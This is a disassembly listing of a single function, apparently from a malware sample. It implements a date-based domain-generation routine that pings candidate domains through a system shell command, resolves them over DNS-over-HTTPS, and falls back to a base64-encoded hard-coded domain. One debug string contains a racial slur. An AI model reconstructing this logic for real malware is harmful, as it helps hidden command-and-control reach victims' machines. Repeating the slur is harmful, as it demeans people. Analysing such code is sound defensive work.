Function at 0x4067b0
Capabilities:
Execute command

Disassembly:
push ebp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x16c
mov ebx, dword [esp + 0x180]
mov dword [esp], str.Date_input:__s_n
lea ebp, [esp + 0x98]
mov dword [esp + 4], ebx
call sym._printf_6
mov dword [esp + 4], 1
mov dword [esp], str.len:__d
call sym._printf_6
mov dword [esp], ebx
lea ebx, [esp + 0x2f]
call sym._dga_main
mov dword [esp + 4], 0x427e18
mov dword [esp + 8], eax
mov dword [esp], ebx
mov dword [esp + 0x10], eax
call sym._sprintf.constprop.0_3
mov edx, dword [esp + 0x10]
lea eax, [edx + 0x76c]
mov dword [esp + 0x14], eax
lea eax, [edx + 0x708]
mov dword [esp + 0x18], eax
cmp esi, 8
je 0x406b3b
cmp esi, 9
je 0x406b19
cmp esi, 0xa
jne 0x406aee
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x3e8
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
lea esi, [esi]
mov dword [esp + 4], ebx
mov dword [esp], str.Trying:__s_n
call sym._printf.constprop.0_2
mov dword [esp + 4], ebx
mov dword [esp], str.Pinging:__s_n
call sym._printf_6
mov dword [esp + 8], ebx
mov dword [esp + 4], str.ping__n_1__s
mov dword [esp], ebp
call sym._sprintf_7
mov dword [esp], ebp
call sym._system
mov dword [esp], 5
mov edi, eax
call dbg.sleep
test edi, edi
jne 0x4069a0
mov eax, dword [str.https:__dns.google_]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], str._sresolve_name_s
mov dword [esp + 8], eax
mov dword [esp], ebp
call sym._sprintf_7
mov dword [esp], ebp
call sym._run_get_content
mov dword [esp], eax
mov esi, eax
call sym.win32op_ob.exe_cJSON_Parse_4
sub esp, 4
mov ebx, eax
mov dword [esp + 4], esi
mov dword [esp], str.Preprocess_json:__s_n
call sym._printf_6
mov dword [esp + 4], ebx
mov dword [esp], str.Parsed_cjson:__s_n
call sym._printf_6
test ebx, ebx
je 0x406be0
mov dword [esp], ebx
mov dword [esp + 4], str.Answer
call sym.win32op_ob.exe_cJSON_GetObjectItemCaseSensitive_8
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sym.win32op_ob.exe_cJSON_IsArray_4
sub esp, 4
test eax, eax
jne 0x406b8e
mov eax, 4
mov esi, str.NULL
mov dword [esp], eax
xor ebx, ebx
call sym._malloc
mov edi, eax
jmp 0x40696a
movzx eax, byte [esi + ebx]
mov byte [edi + ebx], al
add ebx, 1
mov dword [esp], esi
call sym._strlen
sub eax, 1
cmp ebx, eax
jb 0x406960
mov dword [esp + 4], edi
mov dword [esp], str.Noddy:__s_n
call sym._printf_6
add esp, 0x16c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.No_ping
lea edi, [esp + 0x30]
add esi, 1
call sym._puts
mov ecx, ebx
xor eax, eax
mov dword [ebx], 0
sub ecx, edi
mov dword [ebx + 0x65], 0
add ecx, 0x69
shr ecx, 2
rep stosd dword es:[edi], eax
mov dword [esp], 5
call dbg.sleep
cmp esi, 0x15
je 0x406b7f
cmp esi, 1
je 0x406a40
cmp esi, 2
je 0x406a60
cmp esi, 3
je 0x406a88
cmp esi, 4
je 0x406acc
cmp esi, 5
je 0x406aaa
cmp esi, 6
je 0x406b5d
cmp esi, 7
jne 0x40682a
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x2bc
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x64
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0xc8
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x12c
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x1f4
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x190
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
cmp esi, 0xb
jne 0x406c22
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x44c
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x384
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x320
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x258
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
add esp, 0x16c
xor edi, edi
pop ebx
mov eax, edi
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov dword [esp + 4], 0
call sym.win32op_ob.exe_cJSON_GetArrayItem_8
sub esp, 8
mov dword [esp + 4], str.data
mov dword [esp], eax
call sym.win32op_ob.exe_cJSON_GetObjectItemCaseSensitive_8
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sym.win32op_ob.exe_cJSON_IsString_4
sub esp, 4
test eax, eax
je 0x40693e
mov esi, dword [ebx + 0x10]
mov dword [esp], esi
call sym._strlen
mov byte [esi + eax], 0
jmp 0x406948
call sym.win32op_ob.exe_cJSON_GetErrorPtr_0
test eax, eax
je 0x406bf9
mov dword [esp + 4], eax
mov dword [esp], str.Error_nigger:__s_n
call sym._printf_6
mov dword [esp], esi
mov edi, 1
call sym._free
mov dword [esp], 0
call sym.win32op_ob.exe_cJSON_Delete_4
mov eax, edi
sub esp, 4
add esp, 0x16c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp esi, 0xc
jne 0x406c49
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x4b0
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
cmp esi, 0xd
je 0x406cc7
cmp esi, 0xe
je 0x406ca5
cmp esi, 0xf
je 0x406c83
cmp esi, 0x10
jne 0x406ce9
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x640
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x5dc
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x578
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x514
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
cmp esi, 0x11
je 0x406d15
cmp esi, 0x12
je 0x406d37
cmp esi, 0x13
jne 0x406d54
mov eax, dword [esp + 0x14]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x10]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
add eax, 0x6a4
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
mov eax, dword [esp + 0x18]
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_3
jmp 0x406868
cmp esi, 0x14
jne 0x406868
mov eax, dword [str.aXJpZ2F0aW9uc3lzdGVtc2lub3JsYW5kbzIyLnh5eg]
mov dword [esp + 4], ebp
mov dword [esp], eax
call sym._base64_decode
mov edi, eax
test eax, eax
je 0x406dad
mov dword [esp], 0x64
call sym._malloc
mov dword [esp + 4], edi
mov dword [esp], eax
mov dword [esp + 0x1c], eax
call sym._strcpy
mov edx, dword [esp + 0x1c]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x427e18
mov dword [esp], ebx
call sym._sprintf.constprop.0_3
jmp 0x406868
mov dword [esp], str.Decodetld_failed
call sym._puts
xor edx, edx
jmp 0x406d94